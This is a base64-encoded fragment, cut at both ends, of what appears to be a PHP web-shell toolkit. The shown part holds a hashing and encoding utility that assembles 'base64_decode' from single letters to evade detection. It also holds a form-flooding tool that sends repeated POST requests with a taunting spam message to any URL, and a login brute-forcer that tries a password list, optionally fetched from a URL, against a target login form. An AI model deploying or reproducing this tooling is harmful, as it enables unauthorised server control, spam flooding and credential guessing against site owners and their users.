hNTEyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ncmlwZW1kMTI4Jz5yaXBlbWQxMjg8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdyaXBlbWQxNjAnPnJpcGVtZDE2MDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3JpcGVtZDI1Nic+cmlwZW1kMjU2PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ncmlwZW1kMzIwJz5yaXBlbWQzMjA8L29wdGlvbj48b3B0aW9uIHZhbHVlPSd3aGlybHBvb2wnPndoaXJscG9vbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3RpZ2VyMTI4LDMnPnRpZ2VyMTI4LDM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSd0aWdlcjE2MCwzJz50aWdlcjE2MCwzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ndGlnZXIxOTIsMyc+dGlnZXIxOTIsMzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3RpZ2VyMTI4LDQnPnRpZ2VyMTI4LDQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSd0aWdlcjE2MCw0Jz50aWdlcjE2MCw0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ndGlnZXIxOTIsNCc+dGlnZXIxOTIsNDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3NuZWZydSc+c25lZnJ1PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nZ29zdCc+Z29zdDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2FkbGVyMzInPmFkbGVyMzI8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdjcmMzMic+Y3JjMzI8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdjcmMzMmInPmNyYzMyYjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2hhdmFsMTI4LDMnPmhhdmFsMTI4LDM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdoYXZhbDE2MCwzJz5oYXZhbDE2MCwzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0naGF2YWwxOTIsMyc+aGF2YWwxOTIsMzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2hhdmFsMjI0LDMnPmhhdmFsMjI0LDM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdoYXZhbDI1NiwzJz5oYXZhbDI1NiwzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0naGF2YWwxMjgsNCc+aGF2YWwxMjgsNDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2hhdmFsMTYwLDQnPmhhdmFsMTYwLDQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdoYXZhbDE5Miw0Jz5oYXZhbDE5Miw0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0naGF2YWwyMjQsNCc+aGF2YWwyMjQsNDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2hhdmFsMjU2LDQnPmhhdmFsMjU2LDQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdoYXZhbDEyOCw1Jz5oYXZhbDEyOCw1PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0naGF2YWwxNjAsNSc+aGF2YWwxNjAsNTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2hhdmFsMTkyLDUnPmhhdmFsMTkyLDU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdoYXZhbDIyNCw1Jz5oYXZhbDIyNCw1PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0naGF2YWwyNTYsNSc+aGF2YWwyNTYsNTwvb3B0aW9uPjwvc2VsZWN0Pg0KCQkJCQkJPGlucHV0IHR5cGU9J2NoZWNrYm94JyBpZD0naGFzaC1yYXcnLz4gUmF3DQoJCQkJCTwvZGl2Pg0KCQkJCQk8ZGl2IGNsYXNzPSdoYXNoJz4NCgkJCQkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG9uY2xpY2s9XCINCgkJCQkJCXVybD0nJzsNCgkJCQkJCXRleHRlbmNvZGU9d2luZG93LmJ0b2EoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2hhc2h0ZXh0JykudmFsdWUpOw0KCQkJCQkJcmFkaW9zPWRvY3VtZW50LmdldEVsZW1lbnRzQnlOYW1lKCdlbmNyJyk7DQoJCQkJCQlmb3IodmFyIGk9MCxsZW5ndGg9cmFkaW9zLmxlbmd0aDtpPGxlbmd0aDtpKyspew0KCQkJCQkJCWlmIChyYWRpb3NbaV0uY2hlY2tlZCl7DQoJCQkJCQkJCXN3aXRjaChyYWRpb3NbaV0udmFsdWUpew0KCQkJCQkJCQkJY2FzZSAnYmFzaWMnOg0KCQkJCQkJCQkJCXVybD0nP3o9ZW5jcnlwdG9yJm9wdD1iYXNpYyZoYXNoPScrZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2Jhc2ljLWhhc2gnKS52YWx1ZSsnJnRleHQtZW5jb2RlPScrdGV4dGVuY29kZTsNCgkJCQkJCQkJCWJyZWFrOw0KCQkJCQkJCQkJY2FzZSAnZXh0cmEnOg0KCQkJCQkJCQkJCXVybD0nP3o9ZW5jcnlwdG9yJm9wdD1leHRyYSZoYXNoPScrZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2V4dHJhLWhhc2gnKS52YWx1ZSsnJnRleHQtZW5jb2RlPScrdGV4dGVuY29kZTsNCgkJCQkJCQkJCWJyZWFrOw0KCQkJCQkJCQkJY2FzZSAnY3J5cHQnOg0KCQkJCQkJCQkJCXVybD0nP3o9ZW5jcnlwdG9yJm9wdD1jcnlwdCZzYWx0PScrZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NyeXB0LXNhbHQnKS52YWx1ZSsnJnRleHQtZW5jb2RlPScrdGV4dGVuY29kZTsNCgkJCQkJCQkJCWJyZWFrOw0KCQkJCQkJCQkJY2FzZSAnaGFzaCc6DQoJCQkJCQkJCQkJdXJsPSc/ej1lbmNyeXB0b3Imb3B0PWhhc2gmaGFzaD0nK2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdoYXNoLWhhc2gnKS52YWx1ZSsnJnJhdz0nK2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdoYXNoLXJhdycpLmNoZWNrZWQrJyZ0ZXh0LWVuY29kZT0nK3RleHRlbmNvZGU7DQoJCQkJCQkJCQlicmVhazsNCgkJCQkJCQkJfQ0KCQkJCQkJCQlicmVhazsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCQlyZXR1cm4gZ2V0QWpheChmYWxzZSwnaGFzaHJlc3VsdCcsJ1BPU1QnLHVybCk7DQoJCQkJCQlcIi8+DQoJCQkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBvbmNsaWNrPVwiDQoJCQkJCQkJdGVtcGk9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2hhc2hyZXN1bHQnKS52YWx1ZTsNCgkJCQkJCQl0ZW1waTE9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2hhc2h0ZXh0JykudmFsdWU7DQoJCQkJCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2hhc2h0ZXh0JykudmFsdWU9dGVtcGkudHJpbSgpOw0KCQkJCQkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdoYXNocmVzdWx0JykudmFsdWU9dGVtcGkxLnRyaW0oKTsNCgkJCQkJCVwiIHZhbHVlPSdTd2FwJy8+DQoJCQkJCTwvZGl2Pg0KCQkJCTwvZGl2Pg0KCQkJCTxkaXYgY2xhc3M9J2hhc2gtY2FwdHVyZSc+DQoJCQkJCTxkaXYgY2xhc3M9J2hhc2gtY2FwdHVyZS1sZWZ0Jz4NCgkJCQkJCTxsYWJlbD5TdHJpbmc8L2xhYmVsPjx0ZXh0YXJlYSBpZD0naGFzaHRleHQnPjwvdGV4dGFyZWE+DQoJCQkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBvbmNsaWNrPVwiDQoJCQkJCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2hhc2h0ZXh0JykudmFsdWU9Jyc7DQoJCQkJCQlcIiB2YWx1ZT0nQ2xlYXInLz4NCgkJCQkJPC9kaXY+DQoJCQkJCTxkaXYgY2xhc3M9J2hhc2gtY2FwdHVyZS1yaWdodCc+DQoJCQkJCQk8bGFiZWw+UmVzdWx0PC9sYWJlbD48dGV4dGFyZWEgaWQ9J2hhc2hyZXN1bHQnPjwvdGV4dGFyZWE+DQoJCQkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBvbmNsaWNrPVwiDQoJCQkJCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2hhc2hyZXN1bHQnKS52YWx1ZT0nJzsNCgkJCQkJCVwiIHZhbHVlPSdDbGVhcicvPg0KCQkJCQk8L2Rpdj4NCgkJCQk8L2Rpdj4NCgkJCTwvZm9ybT4NCgkJPC9kaXY+Iik7DQoNCgkJZnVuY3Rpb24gY2hyX2FzYygkc3RyKXsNCgkJCSRhc2M9Jyc7DQoJCQlmb3IoJGk9MDskaTxzdHJsZW4oJHN0cik7JGkrKykgDQoJCQkJJGFzYy49b3JkKCRzdHJ7JGl9KS4nICc7DQoJCQlyZXR1cm4gcnRyaW0oJGFzYyk7DQoJCX0NCg0KCQlmdW5jdGlvbiBhc2NfY2hyKCRhc2Mpew0KCQkJJHN0cj0nJzsNCgkJCWlmIChzdHJwb3MoJGFzYywnICcpKXsNCgkJCQkkZXhwcz1leHBsb2RlKCcgJywkYXNjKTsNCgkJCQlmb3JlYWNoKCRleHBzIGFzICRleHApDQoJCQkJCSRzdHIuPWNocigkZXhwKTsNCgkJCX1lbHNlew0KCQkJCSRzdHI9Y2hyKCRhc2MpOw0KCQkJfQ0KCQkJcmV0dXJuICRzdHI7DQoJCX0NCg0KCQlmdW5jdGlvbiBhc2NfaGV4KCRhc2Mpew0KCQkJJGhleD0nJzsNCgkJCWZvciAoJGk9MDskaTxzdHJsZW4oJGFzYyk7JGkrKykgDQoJCQkJJGhleC49c3ByaW50ZigiJTAyeCIsb3JkKHN1YnN0cigkYXNjLCRpLDEpKSk7DQoJCQlyZXR1cm4gJGhleDsNCgkJfQ0KDQoJCWZ1bmN0aW9uIGhleF9hc2MoJGhleCl7DQoJCQkkYXNjPScnOw0KCQkJZm9yICgkaT0wOyRpPHN0cmxlbigkaGV4KTskaSs9MikgDQoJCQkJJGFzYy49Y2hyKGhleGRlYyhzdWJzdHIoJGhleCwkaSwyKSkpOw0KCQkJcmV0dXJuICRhc2M7DQoJCX0NCg0KCQlmdW5jdGlvbiBoZXhfYmluKCRoZXgpew0KCQkJJGJpbj0nJzsNCgkJCWZvcigkaT0wOyRpPHN0cmxlbigkaGV4KTskaSsrKQ0KCQkJCSRiaW4uPXN0cl9wYWQoZGVjYmluKGhleGRlYygkaGV4eyRpfSkpLDQsJzAnLFNUUl9QQURfTEVGVCk7DQoJCQlyZXR1cm4gJGJpbjsNCgkJfQ0KDQoJCWZ1bmN0aW9uIGJpbl9oZXgoJGJpbil7DQoJCQkkaGV4PScnOw0KCQkJZm9yKCRpPXN0cmxlbigkYmluKS00OyRpPj0wOyRpLT00KQ0KCQkJCSRoZXguPWRlY2hleChiaW5kZWMoc3Vic3RyKCRiaW4sJGksNCkpKTsNCgkJCXJldHVybiBzdHJyZXYoJGhleCk7DQoJCX0NCg0KCQlmdW5jdGlvbiBhc2NfYmluKCRhc2Mpew0KCQkJJGhleD1hc2NfaGV4KCRhc2MpOw0KCQkJcmV0dXJuIGhleF9iaW4oJGhleCk7DQoJCX0NCg0KCQlmdW5jdGlvbiBiaW5fYXNjKCRiaW4peyANCgkJICAgICRoZXg9YmluX2hleCgkYmluKTsNCgkJCXJldHVybiBoZXhfYXNjKCRoZXgpOw0KCQl9DQoJCQ0KCQlpZihhbnkoIm9wdCIsJF9SRVFVRVNUKSkNCgkJew0KCQkJb2JfY2xlYW4oKTsNCgkJCSRvcHQ9JF9SRVFVRVNUWydvcHQnXTsNCgkJCSRfYT0iYiI7JF9iPSJhIjskX2M9InMiOyRfZD0iZSI7JF9lPSI2IjskX2Y9IjQiOw0KCQkJJF9nPSJfIjskX2g9ImUiOyRfaT0ibiI7JF9qPSJjIjskX2s9Im8iOyRfbD0iZCI7JF9tPSJlIjsNCgkJCSRiNjRlPSRfYS4kX2IuJF9jLiRfZC4kX2UuJF9mLiRfZy4kX2guJF9pLiRfai4kX2suJF9sLiRfbTsNCgkJCSRiNjRkPSRfYS4kX2IuJF9jLiRfZC4kX2UuJF9mLiRfZy4kX2wuJF9tLiRfai4kX2suJF9sLiRfbTsNCgkJCSR0ZXh0PSRiNjRkKCRfUE9TVFsndGV4dC1lbmNvZGUnXSk7DQoJCQlpZiAoJG9wdD09J2Jhc2ljJykNCgkJCXsNCgkJCQkkaGFzaD0kX1JFUVVFU1RbJ2hhc2gnXTsNCgkJCQlzd2l0Y2goJGhhc2gpDQoJCQkJew0KCQkJCQljYXNlICJtZDUiOnByaW50IG1kNSgkdGV4dCk7YnJlYWs7DQoJCQkJCWNhc2UgInNoYTEiOnByaW50IHNoYTEoJHRleHQpO2JyZWFrOw0KCQkJCQljYXNlICJjaHIiOnByaW50IGFzY19jaHIoJHRleHQpO2JyZWFrOw0KCQkJCQljYXNlICJhc2MiOnByaW50IGNocl9hc2MoJHRleHQpO2JyZWFrOw0KCQkJCQljYXNlICJjcmMzMiI6cHJpbnQgY3JjMzIoJHRleHQpO2JyZWFrOw0KCQkJCQljYXNlICJzdHJsZW4iOnByaW50IHN0cmxlbigkdGV4dCk7YnJlYWs7DQoJCQkJCWNhc2UgInN0cnJldiI6cHJpbnQgc3RycmV2KCR0ZXh0KTticmVhazsNCgkJCQkJY2FzZSAidXJsZW5jb2RlIjpwcmludCB1cmxlbmNvZGUoJHRleHQpO2JyZWFrOw0KCQkJCQljYXNlICJ1cmxkZWNvZGUiOnByaW50IHVybGRlY29kZSgkdGV4dCk7YnJlYWs7DQoJCQkJCWNhc2UgImVudHRpZXMiOnByaW50IGh0bWxlbnRpdGllcygkdGV4dCk7YnJlYWs7DQoJCQkJCWNhc2UgInNwZWNoYXIiOnByaW50IGh0bWxzcGVjaWFsY2hhcnMoJHRleHQpO2JyZWFrOw0KCQkJCQljYXNlICJiYXNlNjRfZW5jb2RlIjpwcmludCAkYjY0ZSgkdGV4dCk7YnJlYWs7DQoJCQkJCWNhc2UgImJhc2U2NF9kZWNvZGUiOnByaW50ICRiNjRkKCR0ZXh0KTticmVhazsNCgkJCQkJY2FzZSAiQjY0RSI6cHJpbnQgQjY0RSgkdGV4dCk7YnJlYWs7DQoJCQkJCWNhc2UgIkI2NEQiOnByaW50IEI2NEQoJHRleHQpO2JyZWFrOw0KCQkJCX0NCgkJCX0NCgkJCWVsc2VpZigkb3B0PT0nZXh0cmEnKQ0KCQkJew0KCQkJCSRoYXNoPSRfUkVRVUVTVFsnaGFzaCddOw0KCQkJCXN3aXRjaCgkaGFzaCkNCgkJCQl7DQoJCQkJCWNhc2UgImNoci1hc2MiOnByaW50IHN0cl9hc2MoJHRleHQpO2JyZWFrOw0KCQkJCQljYXNlICJhc2MtY2hyIjpwcmludCBhc2Nfc3RyKCR0ZXh0KTticmVhazsNCgkJCQkJY2FzZSAiYXNjLWhleCI6cHJpbnQgYXNjX2hleCgkdGV4dCk7YnJlYWs7DQoJCQkJCWNhc2UgImhleC1hc2MiOnByaW50IGhleF9hc2MoJHRleHQpO2JyZWFrOw0KCQkJCQljYXNlICJoZXgtYmluIjpwcmludCBoZXhfYmluKCR0ZXh0KTticmVhazsNCgkJCQkJY2FzZSAiYmluLWhleCI6cHJpbnQgYmluX2hleCgkdGV4dCk7YnJlYWs7DQoJCQkJCWNhc2UgImFzYy1iaW4iOnByaW50IGFzY19iaW4oJHRleHQpO2JyZWFrOw0KCQkJCQljYXNlICJiaW4tYXNjIjpwcmludCBiaW5fYXNjKCR0ZXh0KTticmVhazsNCgkJCQl9DQoJCQl9DQoJCQllbHNlaWYoJG9wdD09J2NyeXB0JykNCgkJCXsNCgkJCQkkc2FsdD0kX1JFUVVFU1RbJ3NhbHQnXTsNCgkJCQlwcmludCBjcnlwdCgkdGV4dCwkc2FsdCk7DQoJCQl9DQoJCQllbHNlaWYoJG9wdD09J2hhc2gnKQ0KCQkJew0KCQkJCSRoYXNoPSRfUkVRVUVTVFsnaGFzaCddOw0KCQkJCSRyYXc9JF9SRVFVRVNUWydyYXcnXTsNCgkJCQlpZigkcmF3PT10cnVlKQ0KCQkJCXsNCgkJCQkJcHJpbnQgaGFzaCgkaGFzaCwkdGV4dCx0cnVlKTsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJcHJpbnQgaGFzaCgkaGFzaCwkdGV4dCk7DQoJCQkJfQ0KCQkJfQ0KCQkJZXhpdDsNCgkJfQ0KCX0NCglpZigkej09ImZvcm0tYnJ1dGVmb3JjZXMiKQ0KCXsNCgkJcHJpbnQgIjxkaXYgY2xhc3M9J3Rvb2xzLWhlYWRlcic+DQoJCQkgIDxoMz4iLiRtZW51X3Rvb2xzWyR6XVsndGl0bGUnXS4iIHYiLiRtZW51X3Rvb2xzWyR6XVsndmVyJ10uIjwvaDM+DQoJCQkgIDxoMz4gYnk6ICIuJG1lbnVfdG9vbHNbJHpdWydhdXRoJ10uIjwvaDM+DQoJCSAgPC9kaXY+IjsNCg0KCQkgJGV4cD1hcnJheSgNCgkJIAkneycsDQoJCSAJJyJuYW1lIjoiSGFuZHNvbWUiLCcsDQoJCSAJJyJlbWFpbCI6InZlcnlAaGFuZHNvbWUuY29tIiwnLA0KCQkgCScic3ViamVjdCI6IldIT09QUyBZT1UgR09UIEUtTUFJTCA/ISIsJywNCgkJIAknIm1lc3NhZ2UiOiJIQSBIQSBIQSBIQSBIQSBIQSBIQSBIQSIsJywNCgkJIAknfScpOw0KDQoJCXByaW50ZigiPGRpdiBjbGFzcz0nZGl2aWRlJz4NCgkJCQk8ZGl2IGNsYXNzPSdkaXZpZGUtbGVmdCc+DQoJCQkJCTxmb3JtIG9uc3VibWl0PSdyZXR1cm4gZmFsc2U7JyBjbGFzcz0nbmV3Jz4NCgkJCQkJCTxsYWJlbD5VcmwgQWN0aW9uPC9sYWJlbD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2Zvcm0tdXJsJyBwbGFjZWhvbGRlcj0naHR0cDovLycvPjxicj4NCgkJCQkJCTxsYWJlbD5Db3VudCdzPC9sYWJlbD48aW5wdXQgdHlwZT0nbnVtYmVyJyBpZD0nZm9ybS1jb3VudCcgdmFsdWU9JzEwMCcgbWluPScxMCcgYXV0b2NvbXBsZXRlPSdvZmYnLz48YnI+DQoJCQkJCQk8bGFiZWw+UGFyYW1ldGVyIChKU09OKTwvbGFiZWw+DQoJCQkJCQk8dGV4dGFyZWEgaWQ9J2Zvcm0tcGFyYW1ldGVyJz4lczwvdGV4dGFyZWE+DQoJCQkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBvbmNsaWNrPVwicmV0dXJuIGFqYXhBYm9ydCh0cnVlLCdmb3JtLXJlc3VsdCcpXCIgdmFsdWU9Q2FuY2VsIC8+DQoJCQkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQXR0YWNrJyBvbmNsaWNrPVwicmV0dXJuIGdldEFqYXgodHJ1ZSwnZm9ybS1yZXN1bHQnLCdQT1NUJywnP3o9Zm9ybS1icnV0ZWZvcmNlcyZ1cmw9Jytkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZm9ybS11cmwnKS52YWx1ZSsnJnBhcmFtZXRlcj0nK2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmb3JtLXBhcmFtZXRlcicpLnZhbHVlKycmY291bnQ9Jytkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZm9ybS1jb3VudCcpLnZhbHVlKTtcIi8+PGJyPg0KCQkJCQk8L2Zvcm0+DQoJCQkJPC9kaXY+DQoJCQkJPGRpdiBjbGFzcz0nZGl2aWRlLXJpZ2h0Jz4NCgkJCQkJPGZpZWxkc2V0Pg0KCQkJCQkJPGxlZ2VuZD5SZXN1bHQnczwvbGVnZW5kPg0KCQkJCQkJPGRpdiBpZD0nZm9ybS1yZXN1bHQnIGNsYXNzPSdyZXN1bHQnPjwvZGl2Pg0KCQkJCQk8L2ZpZWxkc2V0Pg0KCQkJCTwvZGl2Pg0KCQkJPC9kaXY+IixpbXBsb2RlKCRleHAsIlxuIikpOw0KDQoJCWlmKGFueSgidXJsIiwkX1JFUVVFU1QpJiZhbnkoInBhcmFtZXRlciIsJF9SRVFVRVNUKSkNCgkJew0KCQkJb2JfY2xlYW4oKTsNCgkJCSRzdGFydD0kc3VjYz0kZmFpbD0wOw0KCQkJJHVybD0kX1JFUVVFU1RbJ3VybCddOw0KCQkJJGNvdW50PSRfUkVRVUVTVFsnY291bnQnXTsNCgkJCSRwYXJhbWV0ZXI9JF9SRVFVRVNUWydwYXJhbWV0ZXInXTsNCgkJCSRjb250ZW50PWpzb25fZGVjb2RlKCRwYXJhbWV0ZXIsdHJ1ZSk7DQoJCQlpZighaXNfYXJyYXkoJGNvbnRlbnQpKSRjb250ZW50PWFycmF5KCk7DQoJCQlkbyB7JHN0YXJ0Kys7DQoJCQkJJGNoPWN1cmxfaW5pdCgpOw0KCQkJCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1VTRVJBR0VOVCwkYWdlbnQpOw0KCQkJCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1VSTCwkdXJsKTsNCgkJCQljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9QT1NULDEpOw0KCQkJCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULDEwKTsNCgkJCQljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9QT1NURklFTERTLGh0dHBfYnVpbGRfcXVlcnkoJGNvbnRlbnQpKTsNCgkJCQljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCgkJCQljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwxKTsNCgkJCQkkcmVzdWx0PWN1cmxfZXhlYygkY2gpOw0KCQkJCSRodHRwY29kZT1jdXJsX2dldGluZm8oJGNoLENVUkxJTkZPX0hUVFBfQ09ERSk7DQoJCQkJaWYoY3VybF9lcnJvcigkY2gpKSBlY2hvIGN1cmxfZXJyb3IoJGNoKTsNCgkJCQljdXJsX2Nsb3NlKCRjaCk7DQoJCQkJaWYoJGh0dHBjb2RlPT0yMDApDQoJCQkJew0KCQkJCQkkc3VjYysrOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQkkZmFpbCsrOw0KCQkJCX0NCgkJCQlpZigkc3RhcnQ9PSRjb3VudCkNCgkJCQl7DQoJCQkJCWVjaG8gIlN1Y2Nlc3M6ICRzdWNjPGJyPkZhaWxlZDogJGZhaWw8YnI+TWVzc2FnZXM6ICIuaHRtbHNwZWNpYWxjaGFycygkcmVzdWx0KTsNCgkJCQl9DQoJCQl9d2hpbGUoJHN0YXJ0PD0kY291bnQpOw0KCQkJZXhpdDsNCgkJfQ0KCX0NCglpZigkej09ImxvZ2luLWJydXRlZm9yY2VzIikNCgl7DQoJCXByaW50ICI8ZGl2IGNsYXNzPSd0b29scy1oZWFkZXInPg0KCQkJICA8aDM+Ii4kbWVudV90b29sc1skel1bJ3RpdGxlJ10uIiB2Ii4kbWVudV90b29sc1skel1bJ3ZlciddLiI8L2gzPg0KCQkJICA8aDM+IGJ5OiAiLiRtZW51X3Rvb2xzWyR6XVsnYXV0aCddLiI8L2gzPg0KCQkgIDwvZGl2PiI7DQoNCgkJcHJpbnRmKCI8ZGl2IGlkPSdsb2dpbi1icnV0ZWZvcmNlcyc+DQoJCQk8ZGl2IGNsYXNzPSdkaXZpZGUtbGVmdCc+DQoJCQkJPGZvcm0gb25zdWJtaXQ9J3JldHVybiBmYWxzZTsnIGNsYXNzPSduZXcnPg0KCQkJCQk8bGFiZWw+VXJsIEFjdGlvbjwvbGFiZWw+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdsb2dpbi11cmwnIHBsYWNlaG9sZGVyPSdodHRwOi8vJy8+PGJyPg0KCQkJCQk8bGFiZWw+VXNlciBMaXN0PC9sYWJlbD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2xvZ2luLXVzZXInIHBsYWNlaG9sZGVyPSdhZG1pbicgdmFsdWU9J2FkbWluJy8+PGJyPg0KCQkJCQk8bGFiZWw+Jm5ic3A7PC9sYWJlbD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2xvZ2luLXVzZXJuYW1lJyBwbGFjZWhvbGRlcj0nVXNlciBGaWVsZG5hbWUnLz48YnI+DQoJCQkJCTxsYWJlbD5QYXNzIExpc3Q8L2xhYmVsPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nbG9naW4tcGFzc2xpc3QnIHBsYWNlaG9sZGVyPSdodHRwOi8vJy8+PGJyPg0KCQkJCQk8bGFiZWw+Jm5ic3A7PC9sYWJlbD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2xvZ2luLXBhc3NuYW1lJyBwbGFjZWhvbGRlcj0nUGFzcyBGaWVsZG5hbWUnLz48YnI+DQoJCQkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG9uY2xpY2s9XCJyZXR1cm4gZ2V0QWpheCh0cnVlLCdsb2dpbi1yZXN1bHQnLCdQT1NUJywNCgkJCQkJJz96PWxvZ2luLWJydXRlZm9yY2VzJysNCgkJCQkJJyZ1cmw9Jytkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbG9naW4tdXJsJykudmFsdWUrDQoJCQkJCScmdXNlcj0nK2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dpbi11c2VyJykudmFsdWUrDQoJCQkJCScmdXNlcmZpZWxkPScrZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2xvZ2luLXVzZXJuYW1lJykudmFsdWUrDQoJCQkJCScmcGFzc2ZpZWxkPScrZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2xvZ2luLXBhc3NuYW1lJykudmFsdWUrDQoJCQkJCScmcGFzc2xpc3Q9Jytkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbG9naW4tcGFzc2xpc3QnKS52YWx1ZSk7XCIvPjxicj4NCgkJCQk8L2Zvcm0+DQoJCQk8L2Rpdj4NCgkJCTxkaXYgY2xhc3M9J2RpdmlkZS1yaWdodCc+DQoJCQkJPGZpZWxkc2V0Pg0KCQkJCQk8bGVnZW5kPlJlc3VsdCdzPC9sZWdlbmQ+DQoJCQkJCTxkaXYgaWQ9J2xvZ2luLXJlc3VsdCcgY2xhc3M9J3Jlc3VsdCc+PC9kaXY+DQoJCQkJPC9maWVsZHNldD4NCgkJCTwvZGl2Pg0KCQk8L2Rpdj4iKTsNCg0KCQlpZihhbnkoInVybCIsJF9SRVFVRVNUKSYmYW55KCJ1c2VyIiwkX1JFUVVFU1QpKQ0KCQl7DQoJCQlvYl9jbGVhbigpOw0KCQkJJHVybD0kX1JFUVVFU1RbJ3VybCddOw0KCQkJJHVzZXI9JF9SRVFVRVNUWyd1c2VyJ107DQoJCQkkZmlsZT1HZXRVcmxFeGlzdHMoJF9SRVFVRVNUWydwYXNzbGlzdCddKT8gDQoJCQlHZXRVcmxDb250ZW50KCRfUkVRVUVTVFsncGFzc2xpc3QnXSk6IA0KCQkJJF9SRVFVRVNUWydwYXNzbGlzdCddOw0KCQkJJHdvcmRzPWV4cGxvZGUoIlxuIiwkZmlsZSk7DQoJCQkkbGVuZ3RoPWNvdW50KCR3b3Jkcyk7DQoJCQlmb3JlYWNoICgkd29yZHMgYXMgJGluZGV4ID0+ICR3b3JkKSANCgkJCXsNCgkJCQkkcGFyYW1ldGVyPWh0dHBfYnVpbGRfcXVlcnkoDQoJCQkJCWFycmF5KA0KCQkJCQkJJF9SRVFVRVNUWyd1c2VyZmllbGQnXSA9PiAkdXNlciwNCgkJCQkJCSRfUkVRVUVTVFsncGFzc2ZpZWxkJ10gPT4gJHdvcmQsDQoJCQkJCQknU3VibWl0JyA9PiAnU3VibWl0JywNCgkJCQkJKQ0KCQkJCSk7DQoJCQkJJGNoPWN1cmxfaW5pdCgpOw0KCQkJCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1VTRVJBR0VOVCwkYWdlbnQpOw0KCQkJCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1VSTCwkdXJsKTsNCgkJCQljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9QT1NULDEpOw0KCQkJCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1RJTUVPVVQsNSk7DQoJCQkJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsNSk7DQoJCQkJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUE9TVEZJRUxEUywkcGFyYW1ldGVyKTsNCgkJCQljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCgkJCQkkcmE9Y3VybF9leGVjKCRjaCk7DQoJCQkJJHN0PWN1cmxfZ2V0aW5mbygkY2gsQ1VSTElORk9fSFRUUF9DT0RFKTsNCgkJCQlpZihjdXJsX2Vycm9yKCRjaCkpIGVjaG8gY3VybF9lcnJvcigkY2gpOw0